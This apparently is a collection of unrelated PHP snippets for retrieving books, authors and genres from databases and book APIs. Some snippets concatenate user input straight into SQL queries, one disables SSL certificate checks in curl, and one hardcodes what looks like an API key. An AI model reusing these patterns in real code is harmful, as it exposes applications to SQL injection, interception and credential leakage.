\\PDO::PARAM_INT],\n [\":offset\", $offset, \\PDO::PARAM_INT]\n ];\n return $this->bindAndQuery($sql, $params);\n }", "public function getBooks()\n {\n $sql = 'SELECT bookshop_books.id,\n bookshop_books.description,\n bookshop_books.booksName,\n bookshop_books.pubyear,\n bookshop_discounts.id AS discountsId,\n bookshop_discounts.discountsName,\n bookshop_discounts.percent,\n bookshop_books.price,\n bookshop_authors.id AS idAuthors,\n bookshop_authors.authorsName,\n bookshop_genres.id AS idGenres,\n bookshop_genres.genresName\n FROM bookshop_books_to_authors\n INNER JOIN bookshop_books\n ON bookshop_books_to_authors.id_book = bookshop_books.id\n INNER JOIN bookshop_books_to_genres\n ON bookshop_books_to_genres.id_book = bookshop_books.id\n INNER JOIN bookshop_authors\n ON bookshop_books_to_authors.id_author = bookshop_authors.id\n INNER JOIN bookshop_genres\n ON bookshop_books_to_genres.id_genre = bookshop_genres.id\n INNER JOIN bookshop_discounts\n ON bookshop_books.id_discount = bookshop_discounts.id';\n \n $result = $this->db->execute($sql);\n\n if (!$result)\n return $this->error();\n\n return $this->formingBooks($result);\n }", "public function getBooks($id) {\n }", "function getAllBooks( ) {\n global $db;\n $stmt = mysqli_prepare(\n $db,\n 'SELECT\n books.bid,\n books.title,\n books.description,\n bookauthors.name,\n genres.name,\n books.coverimage\n FROM\n books CROSS\n JOIN bookgenres ON bookgenres.bid = books.bid CROSS\n JOIN genres ON genres.id = bookgenres.genreid CROSS\n JOIN bookauthors ON bookauthors.bid = books.bid CROSS\n JOIN bcopies ON bcopies.bid = books.bid\n WHERE\n bcopies.deleted = 0 AND\n bcopies.given = 0\n ORDER BY\n books.title ASC\n ');\n mysqli_stmt_execute( $stmt );\n mysqli_stmt_store_result( $stmt );\n mysqli_stmt_bind_result( $stmt,$id, $title, $description, $author, $genre, $image );\n while ( mysqli_stmt_fetch( $stmt ) ) {\n $book[ 'title' ] = $title;\n $book[ 'img' ] = $image;\n $book[ 'description' ] = $description;\n $book[ 'authors' ][ $author ] = true;\n $book[ 'genres' ][ $genre ] = true;\n $book[ 'bid' ] = $id;\n $books[ $id ] = $book;\n }\n return $books;\n }", "function getBookDetails( $bid ) {\n global $db;\n $stmt = mysqli_prepare(\n $db,\n 'SELECT\n books.title,\n books.description,\n bookauthors.name,\n genres.name,\n books.coverimage\n FROM\n books CROSS\n JOIN bookgenres ON bookgenres.bid = books.bid CROSS\n JOIN genres ON genres.id = bookgenres.genreid CROSS\n JOIN bookauthors ON bookauthors.bid = books.bid\n WHERE\n books.bid = ?\n '\n );\n mysqli_stmt_bind_param( $stmt, 'i', $bid );\n mysqli_stmt_execute( $stmt );\n mysqli_stmt_store_result( $stmt );\n mysqli_stmt_bind_result( $stmt, $title, $description, $author, $genre, $image );\n $results = false;\n while ( mysqli_stmt_fetch( $stmt ) ) {\n $results = true;\n $book[ 'title' ] = $title;\n $book[ 'description' ] = $description;\n $book[ 'authors' ][ $author ] = true;\n $book[ 'genres' ][ $genre ] = true;\n $book[ 'image' ] = $image;\n $book[ 'bid' ] = $bid;\n }\n if ( !$results )\n return false;\n return $book;\n }", "public function getAllBooks(){\n return $this->libros;\n }", "public static function getBooksByGenre($id) {\n $query = Book::find()->innerJoin('book_genre', '`book_genre`.`book_id` = `book`.`id`')->innerJoin('genre', '`book_genre`.`genre_id` = `genre`.`id`')->where(['genre_id'=> $id]);\n\n\n // get the total number of articles (but do not fetch the article data yet)\n $count = $query->count();\n\n // create a pagination object with the total count\n $pagination = new Pagination(['totalCount' => $count, 'pageSize' => 2]);\n\n // limit the query using the pagination and retrieve the articles\n $books = $query->offset($pagination->offset)\n ->limit($pagination->limit)\n ->all();\n\n $data['books'] = $books;\n $data['pagination'] = $pagination;\n\n return $data;\n }", "public function getBooks()\n\t{\n\t\treturn $this->books;\n\t}", "public function getallbooks(){\n\t\t\t$this->db->select('id, name, price, author, category, language, ISBN, publish_date')\n\t\t\t\t\t ->from('tbl_books');\n\t\t\t$this->db->order_by('id', 'desc');\n\n\t\t\t$query = $this->db->get();\n\n\t\t\tif($query->num_rows() > 0){\n\t\t\t\treturn $query->result_array();\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn 0;\n\t\t\t}\n\n\t\t}", "public function books()\n {\n return $this->morphedByMany('App\\Book', 'source_genre');\n }", "public function getBooks()\r\n {\r\n $bookNodes = $this->dom->getElementsByTagName('book');\r\n $books = [];\r\n\r\n foreach($bookNodes as $domNode) {\r\n $book = [];\r\n\r\n foreach($domNode->childNodes as $dn) {\r\n if ($dn->nodeName === 'author') {\r\n $book['author'] = $dn->nodeValue;\r\n }\r\n\r\n if ($dn->nodeName === 'pages') {\r\n $book['pages'] = $dn->nodeValue;\r\n }\r\n\r\n if ($dn->nodeName === 'title') {\r\n $book['title'] = $dn->nodeValue;\r\n }\r\n\r\n if ($dn->nodeName === 'code') {\r\n $book['code'] = $dn->nodeValue;\r\n }\r\n }\r\n\r\n $books[] = $book;\r\n }\r\n\r\n return $books;\r\n }", "public function books()\n {\n return $this->get('/books');\n }", "public function bookIndex(): array\n {\n return $this->bookRepository->findAllUserBooks(\\Auth::user()->getUid());\n }", "public function get_book();", "public function getBooks()\n {\n return $this->hasMany(Book::className(), ['author_id' => 'id']);\n }", "public function findAllBooks()\n {\n MyLogger::info(\"Entering OwnedBookBusinessService.findAllBooks\");\n //creates a connection\n $db = new Connection();\n $conn = $db->open();\n \n //creates an array of education\n $books = Array();\n \n //calls the data service\n $service = new OwnedBookDataService($conn);\n \n //calls the find all method in the data service\n $books = $service->findAllBooks();\n \n //closes the connection\n $conn = null;\n \n //return the array\n return $books;\n \n MyLogger::info(\"Exiting OwnedBookBusinessService.findAllBooks\");\n }", "public function getBookDetails($googleBookId) {\n $this->load->library('google');\n\n $googleBooks = $this->google->books($googleBookId, array('id' => $googleBookId))->results;\n //print_r($googleBooks);\n if ($googleBooks==null || count($googleBooks)==0)\n return null;\n $google_id = $googleBooks[0]->unescapedUrl;\n $start = strpos($google_id, '?id=') + 4;\n $google_id = substr($google_id, $start, strpos($google_id, '&')-$start);\n $book = array(\n \"google_id\" => $google_id,\n \"name\" => $googleBooks[0]->title,\n \"author\" => $googleBooks[0]->authors,\n \"isbn\" => $googleBooks[0]->bookId\n );\n return $book;\n }", "public function getAllBooks() {\n \n $allBooks = Libro::all();\n\n return $allBooks;\n }", "public function getBookList() \n {\n return array( \n \"Balagurusamy\" => new Book(\"Balagurusamy\", \"Balagurusamy\", \"C programming\"), \n \"CMM in Practice\" => new Book(\"CMM in Practice\", \"Pankaj Jalote\", \"\"), \n \"PHP for Dummies\" => new Book(\"PHP for Dummies\", \"Some Smart Guy\", \"\") \n ); \n }", "public function getBookList() {\n\n $booklist = array();\n\n foreach ($this->db-> query(\"SELECT * FROM book\") as $row) {\n \n array_push($booklist, new Book($row['title'], $row['author'], $row['description'], $row['id']));\n }\n\n return $booklist;\n }", "public function showAction(Genre $genre) : array\n {\n $books = $genre->getBooks();\n\n return ['books' => $books, 'genre' => $genre];\n }", "public function getBooks(){\n $sql = \"SELECT * FROM book;\";\n $res = mysqli_query($this->link, $sql);\n $books = mysqli_fetch_all($res);\n return $books;\n }", "function get_booksinn($id)\n {\n return $this->db->get_where('booksinn',array('id'=>$id))->row_array();\n }", "public static function get_all_books() {\n\t\t$books = BooksQModel::get_all_books();\n\n\t\tforeach ($books as $book) {\n\t\t\t//shorted description\n\t\t\tif (strlen($book->description) >= 122)\n\t\t\t\t$book->description = mb_substr($book->description, 0, 120).'...';\n\t\t\t//get uploader\n\t\t\t$uploader = UsersQModel::get_user_by_id($book->id_uploader);\n\t\t\tif ($uploader != null)\n\t\t\t\t$book->uploader = $uploader->name;\n\t\t\telse\n\t\t\t\t$book->uploader = 'Đang cập nhật';\n\t\t}\n\n\t\treturn $books;\n\t}", "public function getBookList()\n\t{\n\t\treturn array(\n\t\t\t\"1\" => new Book(\"Être et Temps\", \"9782070707393\", 1, 1, 1),\n\t\t\t\"2\" => new Book(\"Finnegans Wake\", \"9782070402250\", 2, 2, 2),\n\t\t\t\"3\" => new Book(\"Critique de la raison pure\", \"9782070325757\", 3, 3, 3)\n\t\t);\n\t}", "public static function bookDetail($id) {\n\n $detail_book = \"SELECT \"\n . \"c.category_name, \"\n . \"a.book_title, \"\n . \"a.id_book, \"\n . \"b.author_name, \"\n . \"a.book_image, \"\n . \"a.book_subject, \"\n . \"a.book_ISBN, \"\n . \"a.book_price, \"\n . \"a.book_discount \"\n . \"FROM books a \"\n . \"JOIN authors b ON a.id_author=b.id_author \"\n . \"JOIN categories c ON a.id_category=c.id_category \"\n . \"WHERE a.id_book='\" . $id . \"';\";\n\n if ($result = DB::getInstance()->query($detail_book)) {\n if ($result->num_rows > 0) {\n return $result->fetch_array(MYSQLI_ASSOC);\n } else {\n return false;\n }\n } else {\n return false;\n } \n }", "public function showAllBooks()\n {\n return response()->json(Book::all());\n }", "public function getBooksAttribute()\n {\n return $this->getBible()->getArrayOfBooks();\n }", "public function getBookList()\n {\n return $this->bookDao->getBookList();\n }", "public function book($id)\n {\n return $this->get(\"/books/{$id}\");\n }", "public function getBookGenre($genres_name){\n $db = new DbConnect();\n $con =$db->connect();\n $books = array();\n $genre_name = mysqli_real_escape_string($con,$genres_name);\n $result = mysqli_query($con,\"SELECT * from book inner join genre ON book.genre_id = genre.genre_id where genre_name = '$genre_name'\");\n while($book = mysqli_fetch_array($result,MYSQLI_ASSOC)){\n array_push($books,$book);\n\n }\n return $books;\n\n }", "public function listBooks()\n {\n //list all books in database\n $sql2 = \"SELECT * from book\";\n $userBooks = mysql_fetch_array(mysql_query($sql2));\n return $userBooks; \n }", "function getAllBooksFromAuthor()\n\t{\n\t\tglobal $conn;\n\t\tglobal $myObj;\n\t\tglobal $params_arr;\n\n\t\t$authorName = $params_arr[0];\n\n\t\t$sql = \"SET @AUTHOR_NAME = '$authorName';\";\n\n\t\tif ($conn->query($sql) === TRUE) \n\t\t{\n\t\t\t//echo \"New record created successfully\";\n\t\t} \n\t\telse \n\t\t{\n\t\t\techo \"Error: \" . $sql . \"<br>\" . $conn->error;\n\t\t}\n\n\t\t$sql = \"SELECT books.COVER, books.TITLE, books.GENRE, books.PUBLISHER, books.PUB_DATE, books.DESCRIPTION,\n\t\t\t\t\t authors.FIRST_NAME, authors.LAST_NAME, authors.BIO, books.ISBN\n\t\t\t\tFROM books\n\t\t\t\tJOIN authors ON books.AUTHOR = authors.ID\n\t\t\t\tWHERE concat(AUTHORS.FIRST_NAME, ' ', AUTHORS.LAST_NAME) = @AUTHOR_NAME;\";\n\n\n\n\t\t//Executes query string\n\t\t$result = $conn->query($sql);\n\t\tif ($result->num_rows > 0) \n\t\t{\n\t\t\t$json = array();\n\t \t// convert the data into json object\n\t \twhile($row = $result->fetch_assoc()) \n\t \t{\n\t\t\t\t$bus = array(\n\t\t\t\t\t\"cover\" => $row[\"COVER\"],\n\t\t\t\t\t\"title\" => $row[\"TITLE\"],\n\t\t\t\t\t\"author\" => $row[\"FIRST_NAME\"]. \" \" .$row[\"LAST_NAME\"],\n\t\t\t\t\t\"genre\" => $row[\"GENRE\"],\n\t\t\t\t\t\"publisher\" => $row[\"PUBLISHER\"],\n\t\t\t\t\t\"pub_date\" => $row[\"PUB_DATE\"],\n\t\t\t\t\t\"description\" => $row[\"DESCRIPTION\"],\n\t\t\t\t\t\"bio\" => $row[\"BIO\"],\n\t\t\t\t\t\"isbn\" => $row[\"ISBN\"]\n\t\t\t\t);\n\n\t\t\t\tarray_push($json, $bus);\n\t\t\t\t\n\t\t\t}\n\n\t\t\t$jsonstring = json_encode($json);\n\t\t\techo $jsonstring;\n\t\t}\n\t\telse\n\t\t{\n\t\t echo \"0 results\";\n\t\t}\n\n\n\t\t$conn->close();\n\t}", "public function getBookInfo()\n\t{\n\t\t$isbn = $_POST['ISBN'];\n\t\t$url = \"https://api.douban.com/v2/book/isbn/\" . $isbn;\n\t\t$curl = curl_init();\n\t\tcurl_setopt($curl, CURLOPT_URL, $url);\n\t\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\n\t\tcurl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);\n\t\t$result = curl_exec($curl);\n\t\tcurl_close($curl);\n\t\t$result = json_decode($result, true);\n\n\n\t\tif ($result[\"code\"] != 6000) {\n\t\t\t$json = json_encode(array(\n\t\t\t\t'code' => 'success',\n\t\t\t\t'data' => $result\n\t\t\t));\n\t\t\techo $json;\n\t\t} else {\n\t\t\t$json = json_encode(array(\n\t\t\t\t'code' => 'fail',\n\t\t\t\t'msg' => 'Can not get its information!'\n\t\t\t));\n\t\t\techo $json;\n\t\t}\n\t}", "public function getBookReviews(int $idBook)\n {\n $statement = sprintf(\"SELECT %s, %s, %s, %s FROM %s WHERE %s = %s AND deleted = 0\",\n static::FIELDS[0], static::FIELDS[2], static::FIELDS[3], static::FIELDS[4], static::TABLE, static::FIELDS[1],\n static::PLACEHOLDERS[1]);\n $req = $this->db->prepare($statement);\n\n $req->bindValue(static::PLACEHOLDERS[1], $idBook, PDO::PARAM_INT);\n $req->execute();\n\n $response = $req->fetchAll(PDO::FETCH_ASSOC);\n\n return json_encode($response);\n }", "public function get($id_genre){\n $query = $this->getDb()->prepare(\" SELECT * FROM genero WHERE id_genre = ?\");\n $query-> execute([$id_genre]); \n return $query->fetchAll(PDO::FETCH_OBJ);\n \n }", "public function getBookid($book_id){\n $db = new DbConnect();\n $con =$db->connect();\n $books_id = mysqli_real_escape_string($con,$book_id);\n $result = mysqli_query($con,\"SELECT * from book inner join genre ON book.genre_id = genre.genre_id where book.book_id = '$books_id'\");\n $books = mysqli_fetch_array($result,MYSQLI_ASSOC);\n return $books;\n\n }", "public function getBorrowedbooks()\n {\n return $this->hasMany(Borrowedbooks::className(), ['bookId' => 'bookId']);\n }", "function get_all_booksinn($params = array())\n {\n $this->db->select(\"booksinn.*, books.name as bookname\");\n $this->db->join('books','books.id=booksinn.books_id','inner');\n $this->db->order_by('id', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return $this->db->get('booksinn')->result_array();\n }", "public function BooksLS($id){\n\t\t$url = 'http://192.168.1.5:8000/query/bookid/' . $id;\n\t\t$page = file_get_contents($url);\n\t\treturn response()->json(json_decode($page));\n\t}", "public function getBook($isbn);", "static public function getAll()\r\n {\r\n\r\n //connect with DB\r\n $db = Database::getConnect();\r\n $sql = \"SELECT `book_id`,`name`, `author`, `published_date` FROM `books` WHERE `deleted_at` IS NULL ORDER BY `book_id`\";\r\n $result = $db->query($sql);\r\n $result->execute();\r\n return $result->fetchAll();\r\n }", "public function get_books()\n {\n $this->load->database();\n // print_r($this->db->get(\"books\"));\n $query = $this->db->query(\"select * from books\");\n return $query->result();\n }", "public function getBookByType($type = null){\n $typeBook = $this->checkBookType($type);\n $books = TableRegistry::get('books');\n $result = array();\n if (!empty($typeBook)){\n $result = $books->getBookByType($typeBook['id']);\n }\n return $result;\n }", "public function index()\n {\n $books = Book::whereNotNull('is_approved')\n ->with('authors')\n ->with('genres')\n ->withAvg('reviews', 'rating')\n ->when(request('user_books') && Auth::check(), function ($query) {\n $query->where('user_id', auth()->user()->id)\n ->whereNotNull('is_approved')\n ->orWhere(function($query){\n $query->whereNull('is_approved')\n ->where('user_id', auth()->user()->id);\n });\n })\n ->when(request('search'), function ($query) {\n $search = request('search');\n $query->whereNotNull('is_approved')\n ->where('title', 'LIKE', '%' . $search . '%')\n ->orWhere(function($query) use ($search){\n $query->whereNotNull('is_approved')\n ->where('description', 'LIKE', '%' . $search . '%');\n })\n ->orWhereHas('genres', function ($query) use ($search) {\n $query->whereNotNull('is_approved')\n ->where('name', 'LIKE', '%' . $search . '%');\n })\n ->orWhereHas('authors', function ($query) use ($search) {\n $query->whereNotNull('is_approved')\n ->where('name', 'LIKE', '%' . $search . '%');\n });\n })\n ->latest()\n ->paginate(25);\n\n\n\n return view('book.index', compact('books'));\n }", "public function showmybooks()\n {\n $user = Auth::user();\n return response()->json(BookResource::collection($user->books), 200);\n }", "public function getBooksByGenre(Request $request) {\n\n $request->validate([\n 'genre' => 'required'\n ]);\n\n $genre = $request->genre;\n\n $books = Libro::where('genre', $genre)->get();\n return $books;\n }", "public function getBookById($id) {\n\t\t$book = null;\n\n foreach ($this->db-> query(\"SELECT * FROM book WHERE id=$id\") as $row){\n \n $book = new Book($row['title'], $row['author'], $row['description'], $row['id']);\n }\n\n return $book;\n }", "public function getownerBooks($ownerid)\n {\n $sql2 = \"SELECT * from book JOIN item on book.itemid= item.itemid where bUserid= '\".$ownerid.\"'\";\n $bookdetails = mysql_fetch_array(mysql_query($sql2));\n return $bookdetails;\n \n }", "public function publisherBooks($id)\n {\n $publisher = Publisher::where('id', $id)->first();\n\n $books = DB::table('books')\n ->join('categories', 'books.category_id', '=', 'categories.id')\n ->join('authors', 'books.author_id', '=', 'authors.id')\n ->select('books.*', 'categories.name as category', 'authors.name as author')\n ->where('books.publisher_id', $id)\n ->paginate(20);\n\n\n return response()->json(['success' => true, 'publisher' => $publisher, 'books' => $books]);\n }", "public function getUsersBookById(string $id): array\n {\n $data = $this->userBookRepository->findBookById($id);\n $output = $this->prepareUserBook($data);\n \n $authors = $this->authorBookManager->findAuthorsByBooks([$output['book']['id']]);\n $output['book']['authors'] = $authors[$output['book']['id']];\n \n return $output;\n }", "public function getAddressBooks();", "public function getBook()\n\t{\n\t\tif (cookie('staffAccount') != '') {\n\t\t\t\n\t\t\t$book = D('Book_species');\n\t\t\t$sql = \"SELECT * FROM lib_book_species as a, \n\t\t\t (SELECT COUNT(*) as number, isbn as isbn2 FROM lib_book_unique \n\t\t\t\t\twhere book_id not in(select book_id from lib_remove) GROUP BY isbn) AS b \n\t\t\t where a.isbn = b.isbn2 and number!=0 ORDER BY species_id DESC LIMIT 0,20;\";\n\t\t\t$return = $book->query($sql);\n\t\t\tif ($return) {\n\t\t\t\t$json = json_encode(array(\n\t\t\t\t\t'code' => 'success',\n\t\t\t\t\t'data' => json_encode($return)\n\t\t\t\t));\n\t\t\t\techo $json;\n\t\t\t} else {\n\t\t\t\t$json = json_encode(array(\n\t\t\t\t\t'code' => 'fail',\n\t\t\t\t\t'msg' => 'Nothing, please add book!'\n\t\t\t\t));\n\t\t\t}\n\t\t} else {\n\t\t\t$json = json_encode(array(\n\t\t\t\t'code' => 'fail',\n\t\t\t\t'msg' => 'Please Login!'\n\t\t\t));\n\t\t\techo $json;\n\t\t}\n\t}", "public function getBook($id) {\n // the database using eloquent to return the record with matching id in JSON with 200 as the response code.\n \n if (Book::where('id', $id)->exists()) {\n $book = Book::where('id', $id)->get()->toJson(JSON_PRETTY_PRINT);\n return response($book, 200);\n } else {\n return response()->json([\n \"message\" => \"book not found\"\n ], 404);\n }\n }", "public function showbook($id)\n {\n $books = Book::find($id);\n return response(array(\n 'success' => true,\n 'books' =>$books,\n ),200);\n }", "public function findAll() {\n $sql = \"select * from book order by book_id desc\";\n $result = $this->getDb()->fetchAll($sql);\n\n // Convert query result to an array of domain objects\n $livres = array();\n foreach ($result as $row) {\n $livreId = $row['book_id'];\n $livres[$livreId] = $this->buildDomainObject($row);\n }\n return $livres;\n }", "public function getBooks(\n\t\t$from = 0, $limit = 12, $orderBy = 'id',\n\t\t$cena_od = 0,\t$cena_do = NULL, $hladaj = NULL, $autor = NULL\n\t\t) {\n\t\t$whereSql = ' price >= :cena_od AND price <= :cena_do ';\t\t\n\t\t$whereHodnoty = [\t\t\t\t\n\t\t\t\t'cena_od' => $cena_od,\n\t\t\t\t'cena_do' => ($cena_do === NULL) ? '99999' : $cena_do, \n\t\t\t];\n\t\t\t// 99999 get max price\n\n\t\t\tif($hladaj != NULL) {\n\t\t\t\t$whereSql .= ' AND MATCH (title, description, excerpt) AGAINST (:hladaj) ';\n\t\t\t\t$whereHodnoty['hladaj'] = $hladaj;\n\t\t\t}\n\n\t\t\tif($autor != NULL) {\n\t\t\t\t$whereSql .= ' AND author = :autor ';\n\t\t\t\t$whereHodnoty['autor'] = $autor;\n\t\t\t}\n/*\n \t\t\tif($hladaj != NULL) {\n \t\t\t\t$whereSql .= ' OR authors.name LIKE :hladaj_autora ' ;\t\n \t\t\t\t$whereHodnoty['hladaj_autora'] = '%'.$hladaj.'%';\n \t\t\t\t\t\t\t\n \t\t\t}\n*/\n\n\n\t\t$this->db;\t\t\n\t\t$sth = $this->db->prepare(' SELECT * FROM ' . self::TABLE_NAME . ' \n \n\t\tWHERE '.$whereSql.'\n\n\t\tORDER BY ' . $orderBy . '\n\n\t\tLIMIT ' . $from . ', '. $limit . ' ' \n\n\t\t);\n\n\n\t\t$sth->execute( $whereHodnoty );\n\t\t\n\n\n $books = [];\n\t\twhile($book = $sth->fetchObject(__CLASS__)) {\n\n\t\t $books[] = $book;\t\n\t\t\n\t }\n\n\t\t$this->count = $this->getCount($whereSql , $whereHodnoty);\n\n\t\treturn $books;\n\n\t\t//var_dump($books);\n\t\t\n }", "public function get($bookId, $illustratorId) {\r\n try {\r\n // Gets a sub set of bok ids\r\n if($bookId && !$illustratorId) {\r\n $statement = \"\r\n SELECT * FROM bookillustrator\r\n WHERE bookid = ?;\r\n \";\r\n\r\n $statement = $this->db->prepare($statement);\r\n $statement->execute(array($bookId));\r\n }\r\n // Gets a sub set of illustrator ids\r\n else if($illustratorId && !$bookId) {\r\n $statement = \"\r\n SELECT * FROM bookillustrator\r\n WHERE illustratorid = ?;\r\n \";\r\n\r\n $statement = $this->db->prepare($statement);\r\n $statement->execute(array($illustratorId));\r\n }\r\n else if($illustratorId && $bookId) {\r\n $statement = \"\r\n SELECT * FROM bookillustrator\r\n WHERE illustratorid = :illustratorid AND\r\n bookid = :bookid;\r\n \";\r\n\r\n $statement = $this->db->prepare($statement);\r\n $statement->execute(array(\r\n 'illustratorid' => $authorId,\r\n 'bookid' => $bookId\r\n ));\r\n }\r\n else {\r\n exit(\"Unable to get any data from bookillustrator\");\r\n }\r\n }\r\n catch(\\PDOException $e) {\r\n exit($e->getMessage());\r\n }\r\n\r\n $result = $statement->fetchAll(\\PDO::FETCH_ASSOC);\r\n return $result;\r\n }", "public function read():array{\n\t\t\t return $this->con->query('select * from book');\n\n\t\t}", "public function getbookById($id)\n {\n return $this->bookDao->getbookById($id);\n }", "function getById($id)\n\t{\n\t\t$json = @file_get_contents(\"http://api.douban.com/v2/book/\".$id);\n\t\tif($json == null) $json = '{\"msg\":\"book_not_found\",\"code\":6000,\"request\":\"GET \\/v2\\/book\\/'.$id.'\"}';\n\t\t// echo $json;\n\t\t$array = json_decode($json, true);\n\t\treturn $array;\n\t}", "public function index()\n {\n try {\n $o=array();\n $books = $this->model->with(['book_clubs','genres','product_prices','users'])->where('status',1)->orderBy('title','ASC')->paginate(100);\n foreach($books as $book){\n $user=User::findOrFail($book->user_id);\n if($user->status==1){\n array_push($o,$book);\n }\n }\n if(count($o) != 0) {\n return (new BookCollection($o));\n }\n else {\n return ApiHelper::apiResult(true,HttpResponse::HTTP_OK,\"No Books Found\");\n }\n }\n catch(\\Exception $e) {\n return ApiHelper::apiResult(false,HttpResponse::HTTP_UNAUTHORIZED,$e->getMessage());\n }\n }", "public function findByBookId($bookId);", "public function index()\n {\n return BookResources::collection(Book::with(['user','categories','authors'])->get());\n }", "function getGenres(){\n $genres = $this->all('schema:genre');\n return $genres;\n }", "public function test_get_all_books()\n {\n $randomBook = Book::factory()->create();\n $response = $this->getJson('/api/v1/books');\n $response\n ->assertStatus(200)\n ->assertJson([\n \"status_code\" => 200,\n \"status\" => \"success\",\n \"data\" => [\n [\n \"id\" => $randomBook->id,\n \"name\" => $randomBook->name,\n \"isbn\" => $randomBook->isbn,\n \"authors\" => $randomBook->authors,\n \"number_of_pages\" => $randomBook->number_of_pages,\n \"publisher\" => $randomBook->publisher,\n \"country\" => $randomBook->country,\n \"release_date\" => $randomBook->release_date,\n ],\n ]\n ]);\n }", "private function getRecommendedBooks($book, $book_id)\n {\n $genre_id = $book->getGenre()->getId();\n $author_id = $book->getAuthor()->getId(); \n $entityManager = $this->getDoctrine()->getManager();\n $conn = $entityManager->getConnection();\n $sql = 'SELECT id FROM book \n WHERE id != :id AND genre_id = :genre_id\n ORDER BY RAND() LIMIT ' . $this->recommended_books_count;\n $stmt = $conn->prepare($sql);\n $stmt->execute([\n 'id' => $book_id, \n 'genre_id' => $genre_id, \n ]); \n $ids_genre = $stmt->fetchAll(\\PDO::FETCH_COLUMN); \n $ids_genre_count = count($ids_genre);\n \n if ($ids_genre_count < $this->recommended_books_count) {\n //get other books of this author\n $ids_genre_str = implode(',', $ids_genre); \n if ($ids_genre_count > 0) {\n $not_in_genre = ' AND id NOT IN ('.$ids_genre_str.') ';\n } else {\n $not_in_genre = '';\n }\n $limit = $this->recommended_books_count - $ids_genre_count;\n $sql = 'SELECT id FROM book\n WHERE id !=:id '.$not_in_genre.' \n AND author_id = :author_id\n ORDER BY RAND() LIMIT ' . $limit; \n $stmt = $conn->prepare($sql);\n $stmt->execute([\n 'id' => $book_id, \n 'author_id' => $author_id, \n ]); \n $ids_author = $stmt->fetchAll(\\PDO::FETCH_COLUMN); \n $ids_author_count = count($ids_author); \n $ids_genre_author_count = $ids_genre_count + $ids_author_count;\n \n if ($ids_genre_author_count < $this->recommended_books_count) {\n //get other books\n $ids_genre_author = array_merge($ids_genre, $ids_author);\n $ids_genre_author_str = implode(',', $ids_genre_author);\n if ($ids_genre_author_count > 0) {\n $not_in_genre_author = ' AND id NOT IN ('.$ids_genre_author_str.') ';\n } else {\n $not_in_genre_author = '';\n } \n $limit = $this->recommended_books_count - $ids_genre_author_count;\n $sql = 'SELECT id FROM book\n WHERE id !=:id '.$not_in_genre_author.' \n ORDER BY RAND() LIMIT ' . $limit; \n $stmt = $conn->prepare($sql);\n $stmt->execute(['id' => $book_id]); \n $ids_others = $stmt->fetchAll(\\PDO::FETCH_COLUMN);\n }\n } \n \n //get books\n $rep = $this->getDoctrine()->getRepository(Book::class);\n $books_genre = !empty($ids_genre) ? $rep->findById($ids_genre) : [];\n $books_author = !empty($ids_author) ? $rep->findById($ids_author) : [];\n $books_others = !empty($ids_others) ? $rep->findById($ids_others) : [];\n \n return [\n 'books_genre' => $books_genre,\n 'books_author' => $books_author,\n 'books_others' => $books_others,\n ];\n }", "public function getBookAuthors() {\n return $this->hasMany(BookAuthor::className(), ['book_id' => 'id']);\n }", "public function getBooks($language)\n\t{\n\t\t$sql = sprintf(\"\n\t\t\tSELECT book, short_name, long_name\n\t\t\tFROM books b INNER JOIN languages l ON (b.language_id=l.id)\n\t\t\tWHERE l.name='%s'\n\t\t\tORDER BY book ASC\", $language);\n\n\t\t$result = mysqli_query($this->db, $sql);\n\n\t\t$books = array();\n\t\twhile ($row = mysqli_fetch_assoc($result))\n\t\t{\n\t\t\t$books[] = $row;\n\t\t}\n\n\t\treturn $books;\n\t}", "public function books()\n {\n return $this->morphedByMany('App\\Book', 'taggable');\n }", "public function get_book()\n {\n $sql = DB::select('select * from books');\n return $sql;\n }", "public function getDataBook($id)\n {\n $books = Book::find($id);\n\n return response()->json($books);\n }", "public function getBookDetails($isbnnumber = NULL){\n\n define(\"API_KEY\",\"AIzaSyBWoCaww-UoB3VbN4QeCV2ESqqD5sD8PTA\");\n define(\"URL\", \"https://www.googleapis.com/books/v1/volumes?q=isbn:\");\n $details=array();\n $imageAvailable = false;\n $image=\"img/125x125.jpg\";\n $error=\"\";\n $description=base64_encode(\"No description available\");\n $publisher=\"No publisher available\";\n $isbn=trim($isbnnumber);\n if(!isset($isbn)||$isbn ==\"\")\n {\n $error=\"Please enter the 10 or 13 digit ISBN number located at the back of the book\";\n $valid = false;\n }\n else\n {\n $isbn= str_replace('-', '', $isbn); \n if(!is_numeric($isbn))\n {\n $error=\"ISBN number should be numeric. You entered \".$isbn.\" is not numeric\";\n $valid = false;\n } \n elseif(strlen($isbn)==13 && $isbn[0]!='9')\n {\n $error=\"ISBN should start with 978..Please review the ISBN entered and try again..\";\n $valid = false;\n } \n elseif (!(strlen($isbn)==10 || strlen($isbn)==13))\n {\n $error=\"ISBN should be atleast 10 or 13 digits...You entered only \".strlen($isbn).\" digits\";\n $valid= false;\n } \n \n }\n if(strlen($error)==\"\")\n {\n $url=URL.$isbn;\n //print_r($url);\n $bookDetails = @file_get_contents($url);\n $bookDetailsArray=json_decode($bookDetails, true);\n $totalItem=$bookDetailsArray['totalItems'];\n // print_r($bookDetailsArray);\n if($totalItem==1)\n {\n if(array_key_exists('imageLinks',$bookDetailsArray['items'][0]['volumeInfo'] ))$imageAvailable=true;\n $title= $bookDetailsArray['items'][0]['volumeInfo']['title'];\n $authors= @implode(\",\", $bookDetailsArray['items'][0]['volumeInfo']['authors']); \n\n if($imageAvailable)\n {\n $image=$bookDetailsArray['items'][0]['volumeInfo']['imageLinks']['smallThumbnail'];\n \n $description=$bookDetailsArray['items'][0]['volumeInfo']['description'];\n $publisher=$bookDetailsArray['items'][0]['volumeInfo']['publisher'];\n }\n $publishedDate=$bookDetailsArray['items'][0]['volumeInfo']['publishedDate']; \n $identifier=$bookDetailsArray['items'][0]['volumeInfo']['industryIdentifiers'][1]['identifier'];\n $identifierTen=$bookDetailsArray['items'][0]['volumeInfo']['industryIdentifiers'][0]['identifier'];\n // $categories=@implode(\",\",$bookDetailsArray['items'][0]['volumeInfo']['categories']);\n // Categories Add in DB and Return IDs\n $cat_arr = array();\n foreach ($bookDetailsArray['items'][0]['volumeInfo']['categories'] as $value) {\n $result = ($this->books_model->batchAddCat($value));\n $cat_array = json_decode(json_encode($result), True);\n $cat_arr[] = $cat_array['id'];\n 